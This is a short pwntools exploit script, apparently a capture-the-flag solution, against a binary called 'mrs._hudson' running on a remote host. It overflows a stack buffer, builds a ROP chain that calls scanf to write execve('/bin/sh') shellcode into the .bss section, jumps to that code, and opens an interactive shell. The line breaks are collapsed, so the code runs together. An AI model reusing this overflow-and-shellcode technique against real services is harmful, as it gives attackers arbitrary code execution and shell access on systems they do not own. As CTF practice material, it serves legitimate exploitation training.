```from pwn import *#import hexdump context(arch='amd64',os='linux')#local=Truelocal=False if local:    p = process("./mrs._hudson")else:    p = remote("178.62.249.106", 8642) binary = ELF("./mrs._hudson") raw_input() shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"#shellcode = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"bss = 0x601040 pop_rdi = 0x4006f3pop_rsi_r15 = 0x4006f1scanf_plt_6 = 0x400526 aS = 0x40072b if __name__ == '__main__':    payload = "A"*0x70 + "ebppebpp"    payload += p64(pop_rdi) + p64(aS)    payload += p64(pop_rsi_r15) + p64(bss) + p64(bss)    payload += p64(scanf_plt_6)    payload += p64(bss)     p.send(payload + '\n')    p.send(shellcode + '\n')     p.interactive()
```